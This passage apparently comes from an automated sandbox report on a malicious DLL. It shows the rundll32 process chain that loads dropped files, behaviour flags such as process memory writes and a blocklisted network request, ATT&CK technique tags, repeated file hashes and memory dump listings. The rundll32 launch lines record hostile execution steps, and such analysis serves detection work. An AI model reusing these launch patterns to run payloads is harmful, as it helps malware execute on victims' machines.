"C:\Windows\system32\rundll32.exe" C:\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll AnyString
3⤵
- Suspicious use of WriteProcessMemory
PID:1524

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll AnyString
4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:748

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll",#1
5⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:1588

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Nknmczneyf\mkmgqvccs.dkh",MLBHDhVUmSOBqhR
6⤵
- Suspicious use of WriteProcessMemory
PID:1820

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Nknmczneyf\mkmgqvccs.dkh",#1
7⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:1352

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll
MD5
3d2fd352dcc7a8ac966acb97962b0a99

SHA1
3da986ade7db698139ca46ca96f7d1e0aa3318f4

SHA256
9b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83

SHA512
82f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211

Download Submit
\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll
MD5
3d2fd352dcc7a8ac966acb97962b0a99

SHA1
3da986ade7db698139ca46ca96f7d1e0aa3318f4

SHA256
9b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83

SHA512
82f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211

Download Submit
\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll
MD5
3d2fd352dcc7a8ac966acb97962b0a99

SHA1
3da986ade7db698139ca46ca96f7d1e0aa3318f4

SHA256
9b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83

SHA512
82f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211

Download Submit
\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll
MD5
3d2fd352dcc7a8ac966acb97962b0a99

SHA1
3da986ade7db698139ca46ca96f7d1e0aa3318f4

SHA256
9b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83

SHA512
82f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211

Download Submit
\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll
MD5
3d2fd352dcc7a8ac966acb97962b0a99

SHA1
3da986ade7db698139ca46ca96f7d1e0aa3318f4

SHA256
9b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83

SHA512
82f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211

Download Submit
\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll
MD5
3d2fd352dcc7a8ac966acb97962b0a99

SHA1
3da986ade7db698139ca46ca96f7d1e0aa3318f4

SHA256
9b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83

SHA512
82f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211

Download Submit
\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll
MD5
3d2fd352dcc7a8ac966acb97962b0a99

SHA1
3da986ade7db698139ca46ca96f7d1e0aa3318f4

SHA256
9b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83

SHA512
82f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211

Download Submit
\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll
MD5
3d2fd352dcc7a8ac966acb97962b0a99

SHA1
3da986ade7db698139ca46ca96f7d1e0aa3318f4

SHA256
9b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83

SHA512
82f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211

Download Submit
\Users\Admin\E8j9w_l\Ys1wun5\I45Q.dll
MD5
3d2fd352dcc7a8ac966acb97962b0a99

SHA1
3da986ade7db698139ca46ca96f7d1e0aa3318f4

SHA256
9b675d8282512237cfdfcec7918290313b34959190f64c0deb540d444b6b0c83

SHA512
82f8f0ecd65426494fd7dd6673b117cf73babe55b87c15904d9cde21fc124fb36815623c49bf5e81e8433d628046a3de0b5f3508510747c4f65d73f0a7378211

Download Submit
memory/748-32-0x00000000001A0000-0x00000000001C0000-memory.dmp

Filesize
128KB

Download
memory/748-33-0x0000000010000000-0x0000000010023000-memory.dmp

Filesize
140KB

Download
memory/748-21-0x0000000075781000-0x0000000075783000-memory.dmp

Filesize
8KB

Download
memory/748-20-0x0000000000000000-mapping.dmp

Download
memory/1352-38-0x0000000000000000-mapping.dmp

Download
memory/1524-18-0x0000000000000000-mapping.dmp

Download
memory/1588-26-0x0000000000000000-mapping.dmp

Download
memory/1596-17-0x0000000000570000-0x0000000000571000-memory.dmp

Filesize
4KB

Download
memory/1596-3-0x00000000700B1000-0x00000000700B3000-memory.dmp

Filesize
8KB

Download
memory/1596-4-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/1596-2-0x0000000072631000-0x0000000072634000-memory.dmp

Filesize
12KB

Download
memory/1608-13-0x000000001AA04000-0x000000001AA06000-memory.dmp

Filesize
8KB

Download
memory/1608-7-0x000007FEFBA81000-0x000007FEFBA83000-memory.dmp

Filesize
8KB

Download
memory/1608-11-0x0000000002450000-0x0000000002451000-memory.dmp

Filesize
4KB

Download
memory/1608-10-0x000000001AB00000-0x000000001AB01000-memory.dmp

Filesize
4KB

Download
memory/1608-14-0x00000000023A0000-0x00000000023A1000-memory.dmp

Filesize
4KB

Download
memory/1608-9-0x0000000002360000-0x0000000002361000-memory.dmp

Filesize
4KB

Download
memory/1608-8-0x000007FEF5290000-0x000007FEF5C7C000-memory.dmp

Filesize
9.9MB

Download
memory/1608-12-0x000000001AA00000-0x000000001AA02000-memory.dmp

Filesize
8KB

Download
memory/1608-6-0x0000000000000000-mapping.dmp

Download
memory/1608-16-0x000000001B4A0000-0x000000001B4A1000-memory.dmp

Filesize
4KB

Download
memory/1608-15-0x000000001B6B0000-0x000000001B6B1000-memory.dmp

Filesize
4KB

Download
memory/1612-5-0x0000000000000000-mapping.dmp

Download
memory/1820-36-0x0000000000000000-mapping.dmp

Download
memory/1880-44-0x000007FEF7540000-0x000007FEF77BA000-memory.dmp

Filesize
2.5MB

Download